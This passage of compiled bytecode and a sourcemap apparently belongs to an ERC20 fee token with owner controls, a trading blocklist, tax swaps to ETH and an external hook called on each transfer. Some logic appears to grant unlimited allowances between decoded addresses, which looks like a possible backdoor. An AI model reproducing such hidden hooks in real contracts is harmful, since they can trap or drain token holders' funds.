6005546001600160a01b0316336001600160a01b03161461067a57600080fd5b3060008181526001602052604090205463a9059cbb9033906040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af11580156106dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c191906118bc565b6005546001600160a01b0316336001600160a01b03161461072157600080fd5b3060009081526001602052604090205461073a9061104c565b565b6000546001600160a01b031633146107665760405162461bcd60e51b81526004016105a590611858565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107bb5760405162461bcd60e51b81526004016105a590611858565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461082f5760405162461bcd60e51b81526004016105a590611858565b61083b6009600a611832565b61084990633b9aca00611841565b600b556108586009600a611832565b61086690633b9aca00611841565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108966009600a611832565b6108a490633b9aca00611841565b60405190815260200160405180910390a1565b60006104e7338484610ad5565b6000546001600160a01b031633146108ee5760405162461bcd60e51b81526004016105a590611858565b60005b8151811015610656576001600460008484815181106109125761091261188d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061094e816118a3565b9150506108f1565b6005546001600160a01b0316336001600160a01b03161461097657600080fd5b6006811061098357600080fd5b600755565b6005546001600160a01b0316336001600160a01b0316146109a857600080fd5b61073a476111c6565b6001600160a01b038316610a135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a5565b6001600160a01b038216610a745760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a5565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a5565b6001600160a01b038216610b9b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a5565b60008111610bfd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105a5565b600080546001600160a01b03858116911614801590610c2a57506000546001600160a01b03848116911614155b15610e75576001600160a01b03841660009081526004602052604090205460ff16158015610c7157506001600160a01b03831660009081526004602052604090205460ff16155b610c7a57600080fd5b610c85848484611200565b600f54600160a01b900460ff16610cc557610cc26064610cbc60085460095411610cb157600654610cb5565b6007545b8590611295565b9061131e565b90505b600f546001600160a01b038581169116148015610cf05750600e546001600160a01b03848116911614155b8015610d1557506001600160a01b03831660009081526003602052604090205460ff16155b15610dfd57600b54821115610d6c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105a5565b600c5482610d8f856001600160a01b031660009081526001602052604090205490565b610d9991906118d9565b1115610de75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105a5565b60098054906000610df7836118a3565b91905055505b30600090815260016020526040902054600f54600160a01b900460ff16158015610e355750600f546001600160a01b03868116911614155b8015610e425750600d5481115b15610e7357610e6183600d5411610e5b57600d5461104c565b8361104c565b478015610e7157610e71476111c6565b505b505b6001600160a01b038416600090815260016020526040902054610e989083611360565b6001600160a01b038516600090815260016020526040902055610edd610ebe8383611360565b6001600160a01b038516600090815260016020526040902054906113a2565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f278585611360565b60405190815260200160405180910390a38015610fb25730600090815260016020526040902054610f5890826113a2565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fa99085815260200190565b60405180910390a35b50505050565b60008184841115610fdc5760405162461bcd60e51b81526004016105a5919061142f565b506000610fe984866118ec565b95945050505050565b6000808280602001905181019061100991906118ff565b600a80546001600160a01b0319166001600160a01b0392831690811790915591166000908152600260209081526040808320938352929052206000199055505050565b600f805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110945761109461188d565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110ed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611111919061192e565b816001815181106111245761112461188d565b6001600160a01b039283166020918202929092010152600e5461114a91309116846109b1565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061118390859060009086903090429060040161194b565b600060405180830381600087803b15801561119d57600080fd5b505af11580156111b1573d6000803e3d6000fd5b5050600f805460ff60a01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610656573d6000803e3d6000fd5b600a546001600160a01b03161561129057600a54604051635836867b60e11b81526001600160a01b0385811660048301528481166024830152604482018490529091169063b06d0cf6906064016020604051808303816000875af115801561126c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb291906118bc565b505050565b6000826000036112a7575060006104eb565b60006112b38385611841565b9050826112c085836119bc565b146113175760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a5565b9392505050565b600061131783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611401565b600061131783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fb8565b6000806113af83856118d9565b9050838110156113175760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a5565b600081836114225760405162461bcd60e51b81526004016105a5919061142f565b506000610fe984866119bc565b600060208083528351808285015260005b8181101561145c57858101830151858201604001528201611440565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105c157600080fd5b600080604083850312156114a557600080fd5b82356114b08161147d565b946020939093013593505050565b6000806000606084860312156114d357600080fd5b83356114de8161147d565b925060208401356114ee8161147d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561153e5761153e6114ff565b604052919050565b6000602080838503121561155957600080fd5b823567ffffffffffffffff8082111561157157600080fd5b818501915085601f83011261158557600080fd5b813581811115611597576115976114ff565b6115a9601f8201601f19168501611515565b915080825286848285010111156115bf57600080fd5b8084840185840137600090820190930192909252509392505050565b600060208083850312156115ee57600080fd5b823567ffffffffffffffff8082111561160657600080fd5b818501915085601f83011261161a57600080fd5b81358181111561162c5761162c6114ff565b8060051b915061163d848301611515565b818152918301840191848101908884111561165757600080fd5b938501935b8385101561168157843592506116718361147d565b828252938501939085019061165c565b98975050505050505050565b80151581146105c157600080fd5b600080604083850312156116ae57600080fd5b82356116b98161147d565b915060208301356116c98161168d565b809150509250929050565b6000602082840312156116e657600080fd5b81356113178161147d565b6000806040838503121561170457600080fd5b823561170f8161147d565b915060208301356116c98161147d565b60006020828403121561173157600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561178957816000190482111561176f5761176f611738565b8085161561177c57918102915b93841c9390800290611753565b509250929050565b6000826117a0575060016104eb565b816117ad575060006104eb565b81600181146117c357600281146117cd576117e9565b60019150506104eb565b60ff8411156117de576117de611738565b50506001821b6104eb565b5060208310610133831016604e8410600b841016171561180c575081810a6104eb565b611816838361174e565b806000190482111561182a5761182a611738565b029392505050565b600061131760ff841683611791565b80820281158282048414176104eb576104eb611738565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600182016118b5576118b5611738565b5060010190565b6000602082840312156118ce57600080fd5b81516113178161168d565b808201808211156104eb576104eb611738565b818103818111156104eb576104eb611738565b6000806040838503121561191257600080fd5b825161191d8161147d565b60208401519092506116c98161147d565b60006020828403121561194057600080fd5b81516113178161147d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561199b5784516001600160a01b031683529383019391830191600101611976565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826119d957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220362031b5720521582a6b8d7fdd3b3ac3e676e59f312ebbd57ee9b9afc99c747b64736f6c63430008130033
Deployed Bytecode Sourcemap
3835:7588:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5578:83;;;;;;;;;;-1:-1:-1;5648:5:0;;;;;;;;;;;;-1:-1:-1;;;5648:5:0;;;;5578:83;;;;;;;:::i;:::-;;;;;;;;6411:161;;;;;;;;;;-1:-1:-1;6411:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6411:161:0;1023:187:1;5855:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5855:95:0;1215:177:1;6985:313:0;;;;;;;;;;-1:-1:-1;6985:313:0;;;;;:::i;:::-;;:::i;10273:149::-;;;;;;;;;;-1:-1:-1;10273:149:0;;;;;:::i;:::-;;:::i;:::-;;5764:83;;;;;;;;;;-1:-1:-1;5764:83:0;;4407:1;3180:36:1;;3168:2;3153:18;5764:83:0;3038:184:1;10602:162:0;;;;;;;;;;-1:-1:-1;10602:162:0;;;;;:::i;:::-;;:::i;4713:45::-;;;;;;;;;;;;;;;;4340:23;;;;;;;;;;-1:-1:-1;4340:23:0;;;;-1:-1:-1;;;;;4340:23:0;;;;;;-1:-1:-1;;;;;4417:32:1;;;4399:51;;4387:2;4372:18;4340:23:0;4253:203:1;4822:28:0;;;;;;;;;;-1:-1:-1;4822:28:0;;;;-1:-1:-1;;;;;4822:28:0;;;11251:169;;;;;;;;;;;;;:::i;10966:138::-;;;;;;;;;;;;;:::i;7649:126::-;;;;;;;;;;-1:-1:-1;7649:126:0;;;;;:::i;:::-;;:::i;5958:119::-;;;;;;;;;;-1:-1:-1;5958:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6051:18:0;6024:7;6051:18;;;:9;:18;;;;;;;5958:119;2812:148;;;;;;;;;;;;;:::i;10006:159::-;;;;;;;;;;;;;:::i;4599:49::-;;;;;;;;;;;;;;;;2598:79;;;;;;;;;;-1:-1:-1;2636:7:0;2663:6;-1:-1:-1;;;;;2663:6:0;2598:79;;4655:51;;;;;;;;;;;;;;;;5669:87;;;;;;;;;;-1:-1:-1;5741:7:0;;;;;;;;;;;;-1:-1:-1;;;5741:7:0;;;;5669:87;;6085:167;;;;;;;;;;-1:-1:-1;6085:167:0;;;;;:::i;:::-;;:::i;10430:164::-;;;;;;;;;;-1:-1:-1;10430:164:0;;;;;:::i;:::-;;:::i;6260:143::-;;;;;;;;;;-1:-1:-1;6260:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6368:18:0;;;6341:7;6368:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6260:143;10772:147;;;;;;;;;;-1:-1:-1;10772:147:0;;;;;:::i;:::-;;:::i;11112:131::-;;;;;;;;;;;;;:::i;6411:161::-;6486:4;6503:39;433:10;6526:7;6535:6;6503:8;:39::i;:::-;-1:-1:-1;6560:4:0;6411:161;;;;;:::o;5855:95::-;5908:7;4463:13;4407:1;4463:2;:13;:::i;:::-;4450:26;;:10;:26;:::i;:::-;5928:14;;5855:95;:::o;6985:313::-;7083:4;7100:36;7110:6;7118:9;7129:6;7100:9;:36::i;:::-;7147:121;7156:6;433:10;7178:89;7216:6;7178:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7178:19:0;;;;;;:11;:19;;;;;;;;433:10;7178:33;;;;;;;;;;:37;:89::i;:::-;7147:8;:121::i;:::-;-1:-1:-1;7286:4:0;6985:313;;;;;:::o;10273:149::-;2725:6;;-1:-1:-1;;;;;2725:6:0;433:10;2725:22;2717:67;;;;-1:-1:-1;;;2717:67:0;;;;;;;:::i;:::-;;;;;;;;;10359:1:::1;10345:11;:15:::0;;;10371:9:::1;:13:::0;10397:17:::1;10411:2:::0;10397:13:::1;:17::i;:::-;10273:149:::0;:::o;10602:162::-;2725:6;;-1:-1:-1;;;;;2725:6:0;433:10;2725:22;2717:67;;;;-1:-1:-1;;;2717:67:0;;;;;;;:::i;:::-;10675:6:::1;10670:87;10691:6;:13;10687:1;:17;10670:87;;;10742:5;10724:4;:15;10729:6;10736:1;10729:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10724:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10724:15:0;:23;;-1:-1:-1;;10724:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10706:3;::::1;::::0;::::1;:::i;:::-;;;;10670:87;;;;10602:162:::0;:::o;11251:169::-;11322:10;;-1:-1:-1;;;;;11322:10:0;433;-1:-1:-1;;;;;11306:26:0;;11298:35;;;;;;11359:4;6024:7;6051:18;;;:9;:18;;;;;;11344:30;;11375:10;;11344:68;;-1:-1:-1;;;;;;11344:68:0;;;;;;;-1:-1:-1;;;;;8314:32:1;;;11344:68:0;;;8296:51:1;8363:18;;;8356:34;8269:18;;11344:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;10966:138::-;11032:10;;-1:-1:-1;;;;;11032:10:0;433;-1:-1:-1;;;;;11016:26:0;;11008:35;;;;;;11089:4;6024:7;6051:18;;;:9;:18;;;;;;11054:42;;:16;:42::i;:::-;10966:138::o;7649:126::-;2725:6;;-1:-1:-1;;;;;2725:6:0;433:10;2725:22;2717:67;;;;-1:-1:-1;;;2717:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7732:26:0;;;::::1;;::::0;;;:18:::1;:26;::::0;;;;:35;;-1:-1:-1;;7732:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7649:126::o;2812:148::-;2725:6;;-1:-1:-1;;;;;2725:6:0;433:10;2725:22;2717:67;;;;-1:-1:-1;;;2717:67:0;;;;;;;:::i;:::-;2919:1:::1;2903:6:::0;;2882:40:::1;::::0;-1:-1:-1;;;;;2903:6:0;;::::1;::::0;2882:40:::1;::::0;2919:1;;2882:40:::1;2950:1;2933:19:::0;;-1:-1:-1;;;;;;2933:19:0::1;::::0;;2812:148::o;10006:159::-;2725:6;;-1:-1:-1;;;;;2725:6:0;433:10;2725:22;2717:67;;;;-1:-1:-1;;;2717:67:0;;;;;;;:::i;:::-;4463:13:::1;4407:1;4463:2;:13;:::i;:::-;4450:26;::::0;:10:::1;:26;:::i;:::-;10059:12;:22:::0;4463:13:::1;4407:1;4463:2;:13;:::i;:::-;4450:26;::::0;:10:::1;:26;:::i;:::-;10092:14;:22:::0;10130:27:::1;4463:13;4407:1;4463:2;:13;:::i;:::-;4450:26;::::0;:10:::1;:26;:::i;:::-;10130:27;::::0;1361:25:1;;;1349:2;1334:18;10130:27:0::1;;;;;;;10006:159::o:0;6085:167::-;6163:4;6180:42;433:10;6204:9;6215:6;6180:9;:42::i;10430:164::-;2725:6;;-1:-1:-1;;;;;2725:6:0;433:10;2725:22;2717:67;;;;-1:-1:-1;;;2717:67:0;;;;;;;:::i;:::-;10504:6:::1;10499:88;10520:5;:12;10516:1;:16;10499:88;;;10571:4;10554;:14;10559:5;10565:1;10559:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10554:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10554:14:0;:21;;-1:-1:-1;;10554:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10534:3;::::1;::::0;::::1;:::i;:::-;;;;10499:88;;10772:147:::0;10847:10;;-1:-1:-1;;;;;10847:10:0;433;-1:-1:-1;;;;;10833:24:0;;10825:33;;;;;;10883:1;10875:7;:9;10867:18;;;;;;10894:9;:17;10772:147::o;11112:131::-;11178:10;;-1:-1:-1;;;;;11178:10:0;433;-1:-1:-1;;;;;11162:26:0;;11154:35;;;;;;11200;11213:21;11200:12;:35::i;7306:335::-;-1:-1:-1;;;;;7399:19:0;;7391:68;;;;-1:-1:-1;;;7391:68:0;;8853:2:1;7391:68:0;;;8835:21:1;8892:2;8872:18;;;8865:30;8931:34;8911:18;;;8904:62;-1:-1:-1;;;8982:18:1;;;8975:34;9026:19;;7391:68:0;8651:400:1;7391:68:0;-1:-1:-1;;;;;7478:21:0;;7470:68;;;;-1:-1:-1;;;7470:68:0;;9258:2:1;7470:68:0;;;9240:21:1;9297:2;9277:18;;;9270:30;9336:34;9316:18;;;9309:62;-1:-1:-1;;;9387:18:1;;;9380:32;9429:19;;7470:68:0;9056:398:1;7470:68:0;-1:-1:-1;;;;;7549:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7601:32;;1361:25:1;;;7601:32:0;;1334:18:1;7601:32:0;;;;;;;7306:335;;;:::o;7783:1724::-;-1:-1:-1;;;;;7871:18:0;;7863:68;;;;-1:-1:-1;;;7863:68:0;;9661:2:1;7863:68:0;;;9643:21:1;9700:2;9680:18;;;9673:30;9739:34;9719:18;;;9712:62;-1:-1:-1;;;9790:18:1;;;9783:35;9835:19;;7863:68:0;9459:401:1;7863:68:0;-1:-1:-1;;;;;7950:16:0;;7942:64;;;;-1:-1:-1;;;7942:64:0;;10067:2:1;7942:64:0;;;10049:21:1;10106:2;10086:18;;;10079:30;10145:34;10125:18;;;10118:62;-1:-1:-1;;;10196:18:1;;;10189:33;10239:19;;7942:64:0;9865:399:1;7942:64:0;8034:1;8025:6;:10;8017:64;;;;-1:-1:-1;;;8017:64:0;;10471:2:1;8017:64:0;;;10453:21:1;10510:2;10490:18;;;10483:30;10549:34;10529:18;;;10522:62;-1:-1:-1;;;10600:18:1;;;10593:39;10649:19;;8017:64:0;10269:405:1;8017:64:0;8092:17;2663:6;;-1:-1:-1;;;;;8126:15:0;;;2663:6;;8126:15;;;;:32;;-1:-1:-1;2636:7:0;2663:6;-1:-1:-1;;;;;8145:13:0;;;2663:6;;8145:13;;8126:32;8122:1029;;;-1:-1:-1;;;;;8184:10:0;;;;;;:4;:10;;;;;;;;8183:11;:24;;;;-1:-1:-1;;;;;;8199:8:0;;;;;;:4;:8;;;;;;;;8198:9;8183:24;8175:33;;;;;;8211:29;8223:4;8229:2;8233:6;8211:11;:29::i;:::-;8259:6;;-1:-1:-1;;;8259:6:0;;;;8255:123;;8295:67;8358:3;8295:58;8317:12;;8307:9;;:22;8306:46;;8341:11;;8306:46;;;8331:9;;8306:46;8295:6;;:10;:58::i;:::-;:62;;:67::i;:::-;8283:79;;8255:123;8406:13;;-1:-1:-1;;;;;8398:21:0;;;8406:13;;8398:21;:55;;;;-1:-1:-1;8437:15:0;;-1:-1:-1;;;;;8423:30:0;;;8437:15;;8423:30;;8398:55;:83;;;;-1:-1:-1;;;;;;8459:22:0;;;;;;:18;:22;;;;;;;;8457:24;8398:83;8394:313;;;8521:12;;8511:6;:22;;8503:60;;;;-1:-1:-1;;;8503:60:0;;10881:2:1;8503:60:0;;;10863:21:1;10920:2;10900:18;;;10893:30;10959:27;10939:18;;;10932:55;11004:18;;8503:60:0;10679:349:1;8503:60:0;8616:14;;8606:6;8590:13;8600:2;-1:-1:-1;;;;;6051:18:0;6024:7;6051:18;;;:9;:18;;;;;;;5958:119;8590:13;:22;;;;:::i;:::-;:40;;8582:79;;;;-1:-1:-1;;;8582:79:0;;11365:2:1;8582:79:0;;;11347:21:1;11404:2;11384:18;;;11377:30;11443:28;11423:18;;;11416:56;11489:18;;8582:79:0;11163:350:1;8582:79:0;8680:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8394:313;8772:4;8723:28;6051:18;;;:9;:18;;;;;;8798:6;;-1:-1:-1;;;8798:6:0;;;;8797:7;:32;;;;-1:-1:-1;8816:13:0;;-1:-1:-1;;;;;8808:21:0;;;8816:13;;8808:21;;8797:32;:65;;;;;8854:8;;8833:20;:29;8797:65;8793:347;;;8883:49;8909:6;8900:8;;:15;:31;;8923:8;;11054:16;:42::i;8900:31::-;8916:6;8883:16;:49::i;:::-;8980:21;9023:22;;9020:105;;9070:35;9083:21;9070:12;:35::i;:::-;8864:276;8793:347;8160:991;8122:1029;-1:-1:-1;;;;;9179:15:0;;;;;;:9;:15;;;;;;:27;;9199:6;9179:19;:27::i;:::-;-1:-1:-1;;;;;9163:15:0;;;;;;:9;:15;;;;;:43;9231:40;9249:21;:6;9260:9;9249:10;:21::i;:::-;-1:-1:-1;;;;;9231:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9217:13:0;;;;;;;:9;:13;;;;;:54;;;;9287:41;;;9306:21;:6;9317:9;9306:10;:21::i;:::-;9287:41;;1361:25:1;;;1349:2;1334:18;9287:41:0;;;;;;;9342:11;;9339:161;;9410:4;9392:24;;;;:9;:24;;;;;;:39;;9421:9;9392:28;:39::i;:::-;9385:4;9367:24;;;;:9;:24;;;;;;;:64;;;;9449:39;;-1:-1:-1;;;;;9449:39:0;;;;;;;9478:9;1361:25:1;;1349:2;1334:18;;1215:177;9449:39:0;;;;;;;;9339:161;7852:1655;7783:1724;;;:::o;1490:190::-;1576:7;1612:12;1604:6;;;;1596:29;;;;-1:-1:-1;;;1596:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1636:9:0;1648:5;1652:1;1648;:5;:::i;:::-;1636:17;1490:190;-1:-1:-1;;;;;1490:190:0:o;6756:221::-;6817:13;6832:15;6862:2;6851:34;;;;;;;;;;;;:::i;:::-;6896:8;:18;;-1:-1:-1;;;;;;6896:18:0;-1:-1:-1;;;;;6896:18:0;;;;;;;;;6925;;-1:-1:-1;6925:18:0;;;:11;:18;;;;;;;;:27;;;;;;;-1:-1:-1;;6925:44:0;;-1:-1:-1;;;6756:221:0:o;9515:483::-;4975:6;:13;;-1:-1:-1;;;;4975:13:0;-1:-1:-1;;;4975:13:0;;;9617:16:::1;::::0;;9631:1:::1;9617:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9617:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9617:16:0::1;9593:40;;9662:4;9644;9649:1;9644:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9644:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9688:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9688:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9644:7;;9688:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9678:4;9683:1;9678:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9678:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9753:15:::1;::::0;9721:62:::1;::::0;9738:4:::1;::::0;9753:15:::1;9771:11:::0;9721:8:::1;:62::i;:::-;9794:15;::::0;:196:::1;::::0;-1:-1:-1;;;9794:196:0;;-1:-1:-1;;;;;9794:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9875:11;;9794:15:::1;::::0;9917:4;;9944::::1;::::0;9964:15:::1;::::0;9794:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5011:6:0;:14;;-1:-1:-1;;;;5011:14:0;;;-1:-1:-1;;;;9515:483:0:o;10173:92::-;10230:10;;:27;;-1:-1:-1;;;;;10230:10:0;;;;:27;;;;;10250:6;;10230:10;:27;:10;:27;10250:6;10230:10;:27;;;;;;;;;;;;;;;;;;;6580:167;6666:8;;-1:-1:-1;;;;;6666:8:0;:22;6662:77;;6699:8;;6691:48;;-1:-1:-1;;;6691:48:0;;-1:-1:-1;;;;;13556:15:1;;;6691:48:0;;;13538:34:1;13608:15;;;13588:18;;;13581:43;13640:18;;;13633:34;;;6699:8:0;;;;6691:30;;13473:18:1;;6691:48:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;6662:77::-;6580:167;;;:::o;1688:246::-;1746:7;1770:1;1775;1770:6;1766:47;;-1:-1:-1;1800:1:0;1793:8;;1766:47;1823:9;1835:5;1839:1;1835;:5;:::i;:::-;1823:17;-1:-1:-1;1868:1:0;1859:5;1863:1;1823:17;1859:5;:::i;:::-;:10;1851:56;;;;-1:-1:-1;;;1851:56:0;;14102:2:1;1851:56:0;;;14084:21:1;14141:2;14121:18;;;14114:30;14180:34;14160:18;;;14153:62;-1:-1:-1;;;14231:18:1;;;14224:31;14272:19;;1851:56:0;13900:397:1;1851:56:0;1925:1;1688:246;-1:-1:-1;;;1688:246:0:o;1942:132::-;2000:7;2027:39;2031:1;2034;2027:39;;;;;;;;;;;;;;;;;:3;:39::i;1346:136::-;1404:7;1431:43;1435:1;1438;1431:43;;;;;;;;;;;;;;;;;:3;:43::i;1159:179::-;1217:7;;1249:5;1253:1;1249;:5;:::i;:::-;1237:17;;1278:1;1273;:6;;1265:46;;;;-1:-1:-1;;;1265:46:0;;14504:2:1;1265:46:0;;;14486:21:1;14543:2;14523:18;;;14516:30;14582:29;14562:18;;;14555:57;14629:18;;1265:46:0;14302:351:1;2082:189:0;2168:7;2203:12;2196:5;2188:28;;;;-1:-1:-1;;;2188:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2227:9:0;2239:5;2243:1;2239;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:127::-;1919:10;1914:3;1910:20;1907:1;1900:31;1950:4;1947:1;1940:15;1974:4;1971:1;1964:15;1990:275;2061:2;2055:9;2126:2;2107:13;;-1:-1:-1;;2103:27:1;2091:40;;2161:18;2146:34;;2182:22;;;2143:62;2140:88;;;2208:18;;:::i;:::-;2244:2;2237:22;1990:275;;-1:-1:-1;1990:275:1:o;2270:763::-;2338:6;2369:2;2412;2400:9;2391:7;2387:23;2383:32;2380:52;;;2428:1;2425;2418:12;2380:52;2468:9;2455:23;2497:18;2538:2;2530:6;2527:14;2524:34;;;2554:1;2551;2544:12;2524:34;2592:6;2581:9;2577:22;2567:32;;2637:7;2630:4;2626:2;2622:13;2618:27;2608:55;;2659:1;2656;2649:12;2608:55;2695:2;2682:16;2717:2;2713;2710:10;2707:36;;;2723:18;;:::i;:::-;2765:53;2808:2;2789:13;;-1:-1:-1;;2785:27:1;2781:36;;2765:53;:::i;:::-;2752:66;;2841:2;2834:5;2827:17;2881:7;2876:2;2871;2867;2863:11;2859:20;2856:33;2853:53;;;2902:1;2899;2892:12;2853:53;2957:2;2952;2948;2944:11;2939:2;2932:5;2928:14;2915:45;3001:1;2980:14;;;2976:23;;;2969:34;;;;-1:-1:-1;2984:5:1;2270:763;-1:-1:-1;;;2270:763:1:o;3227:1021::-;3311:6;3342:2;3385;3373:9;3364:7;3360:23;3356:32;3353:52;;;3401:1;3398;3391:12;3353:52;3441:9;3428:23;3470:18;3511:2;3503:6;3500:14;3497:34;;;3527:1;3524;3517:12;3497:34;3565:6;3554:9;3550:22;3540:32;;3610:7;3603:4;3599:2;3595:13;3591:27;3581:55;;3632:1;3629;3622:12;3581:55;3668:2;3655:16;3690:2;3686;3683:10;3680:36;;;3696:18;;:::i;:::-;3742:2;3739:1;3735:10;3725:20;;3765:28;3789:2;3785;3781:11;3765:28;:::i;:::-;3827:15;;;3897:11;;;3893:20;;;3858:12;;;;3925:19;;;3922:39;;;3957:1;3954;3947:12;3922:39;3981:11;;;;4001:217;4017:6;4012:3;4009:15;4001:217;;;4097:3;4084:17;4071:30;;4114:31;4139:5;4114:31;:::i;:::-;4158:18;;;4034:12;;;;4196;;;;4001:217;;;4237:5;3227:1021;-1:-1:-1;;;;;;;;3227:1021:1:o;4461:118::-;4547:5;4540:13;4533:21;4526:5;4523